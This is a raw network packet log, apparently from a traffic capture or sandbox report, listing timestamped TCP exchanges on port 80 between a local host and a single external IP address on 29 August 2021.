Aug 29, 2021 22:27:49.499991894 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.500003099 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.500015020 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.500025034 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.500032902 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.500067949 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.500086069 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.500108004 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.536161900 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.536220074 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.536258936 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.536343098 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.536381006 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.536410093 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.536416054 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.536736965 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.536926985 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.537276983 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.537318945 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.572601080 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.572702885 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.572731972 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.572755098 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.572936058 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.573087931 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.573575974 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.573683977 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.579567909 CEST	49851	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.580641031 CEST	49853	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.609601021 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.610411882 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.612713099 CEST	80	49851	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.612797976 CEST	49851	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.612840891 CEST	80	49853	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.612935066 CEST	49853	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.615452051 CEST	49853	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.647769928 CEST	80	49853	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.685024977 CEST	80	49853	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.686232090 CEST	49853	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.816518068 CEST	49853	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.816787958 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.826351881 CEST	49854	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.848916054 CEST	80	49853	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.849018097 CEST	49853	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.851747036 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.851861954 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.858414888 CEST	80	49854	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.858536005 CEST	49854	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.860125065 CEST	49854	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.863492966 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.892047882 CEST	80	49854	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.896975994 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.897665024 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.914906979 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.915133953 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.915442944 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.915528059 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.936300039 CEST	80	49854	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.938838959 CEST	49854	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.948148012 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.948263884 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.948605061 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.948621988 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.948637009 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.948689938 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.948729992 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.948790073 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.948805094 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.948911905 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.982109070 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.982132912 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.982144117 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.982208014 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.982268095 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.982358932 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.982424021 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.982439041 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.982557058 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.015702009 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.015727997 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.015902996 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.015939951 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.016115904 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.016129971 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.016247034 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.016448021 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.016464949 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.016647100 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.049235106 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.049259901 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.049556017 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.081675053 CEST	49854	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.082567930 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.082658052 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.082814932 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.114646912 CEST	80	49854	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.114765882 CEST	49854	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.115647078 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.115742922 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.132224083 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.166393042 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.208998919 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.209094048 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.297775984 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.297894001 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.298094988 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.298213005 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.325747967 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.325884104 CEST	49857	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.330272913 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.330430984 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.330495119 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.330559969 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.330595970 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.330630064 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.330671072 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.330732107 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.330741882 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.330812931 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.330853939 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.330971003 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.359141111 CEST	80	49855	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.359384060 CEST	49855	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.360692024 CEST	80	49857	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.361458063 CEST	49857	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.362004995 CEST	49857	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.363154888 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.363290071 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.363307953 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.363380909 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.363410950 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.363557100 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.363646030 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.363679886 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.363704920 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.363727093 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.363734961 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.363811970 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.363934040 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.364026070 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.364137888 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.364243031 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.395802975 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.395848036 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.395876884 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.395900011 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.395903111 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.395956039 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.395973921 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.396070957 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.396172047 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.396301031 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.396337032 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.396365881 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.396389008 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.396576881 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.396723032 CEST	80	49857	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.396759033 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.396984100 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.397068977 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.397304058 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.397661924 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.397696018 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.397725105 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.428364992 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.428391933 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.428448915 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.428632021 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.428669930 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.428694963 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.428720951 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.442497969 CEST	80	49857	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.442603111 CEST	49857	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.463830948 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.463946104 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.567047119 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.567336082 CEST	49857	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.568458080 CEST	49858	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.599817991 CEST	80	49856	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.600027084 CEST	49856	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.600178957 CEST	80	49858	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.600405931 CEST	49858	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.600866079 CEST	49858	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.602601051 CEST	80	49857	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.602801085 CEST	49857	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.632668972 CEST	80	49858	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.662523985 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.669899940 CEST	80	49858	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.669972897 CEST	49858	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.698354006 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.698465109 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.698928118 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.699043989 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.699224949 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.699326992 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.734285116 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.734334946 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.734498024 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.734527111 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.734647036 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.734865904 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.734997988 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.735028028 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.735151052 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.735191107 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.770113945 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.770224094 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.770394087 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.770396948 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.770433903 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.770487070 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.770509958 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.770610094 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.770812988 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.770912886 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.772468090 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.772564888 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.772743940 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.772871017 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.772947073 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.773139954 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.773317099 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.773377895 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.784404993 CEST	49858	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.785424948 CEST	49860	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.805967093 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.806005955 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.806139946 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.806188107 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.806233883 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.806263924 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.806375027 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.806375980 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.806408882 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.806433916 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.806583881 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.808401108 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.808481932 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.808619976 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.808840036 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.808990002 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.809197903 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.809357882 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.809482098 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.809511900 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.816281080 CEST	80	49858	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.816476107 CEST	49858	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.817697048 CEST	80	49860	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.817801952 CEST	49860	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.842071056 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.842109919 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.842127085 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.842150927 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.842175961 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.842330933 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.842546940 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.851327896 CEST	49860	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.877263069 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.877429962 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:50.884283066 CEST	80	49860	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.922791958 CEST	80	49860	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:50.922944069 CEST	49860	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:51.035901070 CEST	49860	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:51.036166906 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:51.037358999 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:51.068511963 CEST	80	49860	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:51.068656921 CEST	49860	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:51.073584080 CEST	80	49859	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:51.073621035 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:51.073689938 CEST	49859	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:51.073767900 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:51.074291945 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:51.109781981 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:51.154222965 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:51.154330969 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.444906950 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.445014954 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.445240021 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.445292950 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.480320930 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.480356932 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.480477095 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.480509996 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.480648041 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.480808020 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.480839014 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.480916977 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.480962038 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.481261969 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.484258890 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.516063929 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.516103029 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.516161919 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.516195059 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.516297102 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.516340971 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.516357899 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.516385078 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.516505003 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.516505003 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.516602039 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.516695976 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.516823053 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.519478083 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.519506931 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.520551920 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.528321028 CEST	49863	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.552994013 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.553031921 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.553061962 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.553160906 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.553205013 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.555417061 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.555463076 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.555489063 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.555512905 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.555531025 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.555546999 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.555594921 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.555593967 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.555619955 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.555629969 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.555655956 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.555684090 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.555710077 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.556931973 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.557116985 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.557477951 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.557691097 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.561341047 CEST	80	49863	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.561518908 CEST	49863	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.574785948 CEST	49863	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.590960026 CEST	80	49861	46.17.96.36	192.168.2.4
